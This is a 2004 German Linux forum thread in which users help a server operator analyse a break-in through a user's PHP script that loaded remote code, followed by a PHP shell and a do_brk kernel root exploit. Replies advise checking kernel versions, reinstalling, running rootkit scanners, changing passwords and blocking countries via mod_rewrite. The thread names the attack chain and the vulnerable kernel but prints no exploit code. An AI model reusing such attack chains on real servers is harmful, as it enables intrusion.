OK, wie Du schon gesehen hast, sind sie über den Apache rein, und zwar über ein Bug in dem dort laufenden PHP Skript. Das Skript scheint Eingabe Variablen nicht korrekt zu validieren, und so lassen sich Shell Befehle einschleusen. Was genau da abging steht in dem Log Ausschnitt den Du weiter oben gepostet hast.

Was für eine PHP Software läuft da?

Scheinbar kann man dem show Befehl deDeiner PHP Software eine URL übergeben, die dann angezeigt wird. Das ist eine sog. XSS (Cross Site Scripting) Attacke, mittels dere man Deine Apache beliebige PHP Skripte unterschieben kann. Wenn man sich das php.gif von dem anderen Server anschaut, dann ist da ein PHP Skript, mit dem man Shell Befehle ausführen kann. Aus irgendeinem Grund (Bug) kann man der PHP Software auf Deinem Server dann beliebige PHP Seiten unterschieben die er ausführt, indem man einfach die URL an die show Funktion übergibt. Damit haben sie dann r0nin hochgeladen und gestartet.

Die php.gif Datei enthält ausserdem einen Kernel Exploit (do_brk) mit dem versucht wird root Rechte zu erlangen. Der normale Kernel 2.4.18 kann damit gecracked werden, und man hat dann root Rechte. Der Debian 2.4.18 Kernel ist nicht anfällig, allerdings nur, wenn Du *alle* Security Updates von security.debian.org eingespielt hast. Wenn der 2.4.18 selbstgebaut ist, dann hast Du ebenfalls ein Problem. Debian hat das Problem in kernel-image-2.4.18-12 gefixed. Wenn Dein Kernel älter ist: :-(

Grundsätzlich ist erstmal davon auszugehen, dass der do_brk exploit funktioniert hat, und die Cracker jetzt root Zugang haben. Beliebige Programme könnten verändert worden sein, damit sie evtl. laufende root Kits nicht anzeigen und evtl. wurden auch Kernel Module eingeschleust, die alle Anzeichen eines Einbruchs verstecken. Die Tatsache, dass die Firewall nicht modifiziert wurde würde zwar dagegen sprechen, aber das gilt nur, wenn die Firewall auf dem gleichen Rechner läuft, der auch kompromittiert wurde.

Fazit: Reparieren ist aussichtslos. Beweise sichern (Plattenimage) und neu installieren, und vor allem rausfinden, ob der Bug in der PHP Software vielleicht schon gefixed wurde...

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 15:44:05

Ich habe security.debian.org in meiner sources.list und habe regelmäßig
apt-get dist-upgrade
gemacht.
Installiert hatte ich allerdings kernel-image-2.4.18-686
grade eben habe ich kernel-image-2.4.18-1-686 installiert.

Komme mit der benennung nicht ganz klar. Wo ist die -12??

Benutzeravatar
Bert
Beiträge: 3751
Registriert: 16.07.2002 14:06:52
Wohnort: Dresden
Kontaktdaten:

Beitrag von Bert » 09.08.2004 15:46:14

Nun, offensichtlich scheint es eine bekannte Lücke u sein. Dein Code ist [1] sehr identisch.

[1] http://www.nettalk.us/about4532.html

Bert
Programmer: A biological machine designed to convert caffeine into code.
xmpp:bert@debianforum.de

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 16:01:59

Erzlord Caron hat geschrieben:Komme mit der benennung nicht ganz klar. Wo ist die -12??
Das ist die Debian Versionsnummer. "dpkg -l kernel-image-2.4.18-1-686" zeigt Dir die komplette Version an. Wenn Du zum Zeitpunkt des Angriffs bereits Version 2.4.18-12 oder später drauf hattest, dann hat der root Exploit nicht funktioniert.

Aber nochmal die Frage: Was für eine PHP Software lief bzw. läuft auf Deinem Server und welche Version des Skriptes??? Die hat ein wirklich übles Sicherheitsproblem, und ich würde gerne wissen, ob das ein bekanntes Problem ist, oder nicht!

@Bert: Das php.gif ist ein generischer XSS Exploit. Wenn man es irgendwie schafft, einem Apache das Dingen unterzuschieben, dann ist man drin, und es gibt wörtlich 100e von Möglichkeiten das zu tun. Der eigentliche Angriffsvektor wäre interessant, also sprich: Welches verd*mmte PHP Skript hat ein so grosses Scheunentor?

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 16:09:21

Selbstgemachtes Script von einem User.

OK, soweit ich das sehe, hatte ich die gefixte Version, und werde wohl erstmal auf eine Neuinstallation verzichten, da das bei root-Server in Rechenzentren nicht so einfach ist mit Plattenimage und so...

Habt ihr noch Ratschläge?

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 16:19:39

Jepp: Wenn Dein Freund nicht versteht, wo das Problem mit seinem Skript liegt, dann verwende es nicht...

Durch die Sicherheitslücke, die da drin ist kann man eine ganze Panzerkompanie fahren...

Eingaben an Skripte müssen immer so überprüft werden, dass man mit beliebigen Eingaben keinen Unsinn macht. In seinem Skript z.B. könnte man überprüfen, ob die hinter show stehende URL auch wirklich lokal ist, oder noch besser: man gibt nur den Pfad an, der Server steht dann hartkodiert im Skript.

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

Benutzeravatar
Joghurt
Beiträge: 5244
Registriert: 30.01.2003 15:27:31
Wohnort: Hamburg
Kontaktdaten:

Beitrag von Joghurt » 09.08.2004 16:22:46

Erzlord Caron hat geschrieben:Habt ihr noch Ratschläge?
Dem Benutzer eins auf den Deckel geben? ;)

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 16:28:14

Das ist nicht mein Freund, das ist ein User des Servers... Kleiner Jugendzentrumsserver (keine Angst, war ein Teammitglied, den Kids geben wir dann doch keinen Zugriff)

Deckel: grad dabei...

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 16:30:20

PHP Skripte für User verbieten...

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

Benutzeravatar
domo
Beiträge: 268
Registriert: 11.07.2002 18:18:27

Beitrag von domo » 09.08.2004 16:43:09

Joghurt hat geschrieben:
Erzlord Caron hat geschrieben:Habt ihr noch Ratschläge?
Dem Benutzer eins auf den Deckel geben? ;)

Code: Alles auswählen

google Cr4shyng
Du bist nicht allein !!
Freedom is the freedom to say that two plus two make four. If that is granted, all else follows.

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 17:21:08

Ich schätze 'mal, dass das diese Brasilianisch Spam Gang ist... Die suchen im Prinzip Rechner die man zum Spammen nutzen kann.

Wenn es Dich nicht stört ein komplettes Land mehr oder weniger vom Zugriff auf deine Webserver auszuschliessen, dann bietet sich da mod_rewrite an:

Code: Alles auswählen

RewriteEngine on
RewriteCond %{REMOTE_HOST}  \.br$ [NC,OR]
RewriteCond %{REMOTE_HOST}  \.cn$ [NC,OR]
RewriteCond %{REMOTE_HOST}  \.kr$ [NC]
RewriteRule .* - [F,L]
Der obige Code liefert für alle Hosts deren Domain in .br (Brasilien), .cn (China) oder .kr (Korea) endet einfach ein "403 Forbidden" zurück. In Deinem Fall hätte das übrigens schon funktioniert, da die Request IP aus .br kam... Die Methode ist auch absolut nicht 100%ig dicht, da z.B. Hosts ohne Reverse DNS durchs Raster fallen, aber viele Kiddies und Scanner (eMail Adressen Sammler) werden so effektiv kaltgestellt.

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

13terApostel
Beiträge: 24
Registriert: 06.08.2004 12:06:08

Beitrag von 13terApostel » 09.08.2004 17:25:42

Habt ihr noch Ratschläge?
Da du den rechner ja nicht neu aufsetzen möchtest:
Sei einfach ein bisschen (resp. ein bisschen sehr) paranoid.

D.h.
-- Rechner vom netz nehmen. chkrootkit(und rootkit hunter ...) source von internet auf einen anderen sicheren rechner laden, kompilieren, auf den gehackten rechner laden durchlaufen lassen.
Wenn was angezeigt =>> doch neu aufsetzen!!!
-- den kernel mit einem alten backup des servers vergleichen ob irgend was verändert wurde.
-- rechner an ein netz stellen und von aussen überprüfen ob irgend welche ports offen sind.(evt. hat der hacker sich ein ssh server od so was ähnliches eingerichtet.)
-- alle (ja, wircklich alle) passwörter ändern (ja, selbst und nicht ändern lassen!!!), denn evt. hat der hacker sich einen useraccount geschnappt.

so das wären ein paar tips! es gibt natürlich noch mehr, dass du machen kannst, wichtig ist einfach: SEI PARANOID!!!

grüsse

13terApostel

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 18:14:24

paranoid? kein problem *g*

wenn das wirklich eine brasilianische spam gang war, dann ist sie sehr dumm. warum sollte sie sich bemerkbar machen, indem sie alle indexdateien mit irgendeinem spruch überschreibt?

Benutzeravatar
pdreker
Beiträge: 8298
Registriert: 29.07.2002 21:53:30
Lizenz eigener Beiträge: MIT Lizenz
Wohnort: Nürnberg

Beitrag von pdreker » 09.08.2004 21:25:48

OK, dann wohl nicht... k1DD13z oder ein Feld-, Wald- und Wiesen-Defacer...

Treibt sich schon eine Menge Abschaum im Netz rum heutzutage...

Patrick
Definitely not a bot...
Jabber: pdreker@debianforum.de

Erzlord Caron
Beiträge: 444
Registriert: 17.07.2003 15:55:41

Beitrag von Erzlord Caron » 09.08.2004 22:09:27

jap, schade, dass die in brasilien rumhängen. würde gerne meine neue Samurai 3000 Firefirewall an denen ausprobieren *g*

Benutzeravatar
juesken
Beiträge: 89
Registriert: 04.08.2004 12:44:37
Wohnort: Leopolds'Hölle

Beitrag von juesken » 10.08.2004 10:24:13

Erzlord Caron hat geschrieben:jap, schade, dass die in brasilien rumhängen. würde gerne meine neue Samurai 3000 Firefirewall an denen ausprobieren *g*
wenn du dadrauf bestehst, kann ich da behilflich sein... ;)

bn

Benutzeravatar
thorben
Beiträge: 722
Registriert: 14.09.2003 23:23:49

Beitrag von thorben » 13.08.2004 18:37:30

moin,
interessant wäre es ja wie man als serverbetreiber (webhoster) solche sachen vermeiden kann, denn die scripte der user kontrollieren ist im normalfall ja nicht drin...

bis auf ein "register_globals off" fällt mir spontan nix ein um php abzusichern... vielleicht sollte ich mal etwas suchen ;-)


gruß
thorben

Antworten